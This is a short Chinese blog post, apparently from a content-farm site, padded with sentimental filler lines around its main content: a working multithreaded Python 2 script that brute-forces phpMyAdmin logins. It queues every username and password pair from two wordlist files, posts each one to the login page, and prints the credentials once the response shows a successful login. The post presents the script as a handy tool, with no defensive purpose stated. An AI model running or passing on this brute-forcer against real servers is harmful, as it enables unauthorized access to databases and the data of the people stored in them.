Python多线程爆破phpmyadmin密码

生命中,好多的事是这样,生活中,好多的情是这样,没有理由,也无需理由,爱就是爱,喜欢就是喜欢,没有结果,也无须结果,心甘情愿,无怨无悔。

python是一款可以快速学会的脚本语言,用来写写小工具,真是爽的不要不要的!

#! /usr/bin/env python
#coding=utf-8
import re
import os
import time
import requests
from random import choice
import Queue,threading
import sys 
reload(sys) 

sys.setdefaultencoding('utf8') 

class Crack(threading.Thread):
    def __init__(self,url,queue):
        threading.Thread.__init__(self)
        self.url = url
        self.queue = queue
    def getheader(self):
        return {"User-Agent":"Mozilla/5.0 (Linux; U; Android 5.1.1; zh-cn; OPPO A53m Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/38.0.0.0 Mobile Safari/537.36 OppoBrowser/4.2.8"}
    def run(self):
        while 1:
            if self.queue.empty():
                break
            else:
                data = self.queue.get()
                try:
                    httpres = requests.post(self.url,data=data,headers=self.getheader())
                    html = httpres.text
                    if re.search("frame frameborder",html) or re.search("main.php?token",html):
                        print u"爆破成功"
                        print u"账号%s 密码%s" % (data["pma_username"],data["pma_password"])
                        os._exit(0)
                    else:
                        print u"--->%d<---%s:%s" % (self.queue.qsize(),data["pma_username"],data["pma_password"])
                except:
                    self.queue.put(data)
                    print u"--->请求超时,重新加入队列<---"
def speak():
    inttime = choice(range(15,30))
    time.sleep(inttime)
    print u"闲暇之余我给你讲个故事吧"
def main(url):
    queue = Queue.Queue()
    threads =[]
    for username in open("username.txt","r"):
        for password in open("password.txt","r"):
            queue.put({"pma_username":username.strip(),"pma_password":password.strip(),"server":"1"})
    print u"队列更新完毕,开始准备干"
    gushi = threading.Thread(target=speak,args=())
    gushi.setDaemon(True)
    gushi.start()
    lines = 5
    for x in range(lines):
        y = Crack(url,queue)
        y.start()
        threads.append(y)
    for x in threads:
        x.join()
if __name__ == '__main__':
    url = "http://127.0.0.1/index.php"
    main(url)

本文Python多线程爆破phpmyadmin密码到此结束。青春不是人生的一段时期,而是心灵的一种状况。小编再次感谢大家对我们的支持!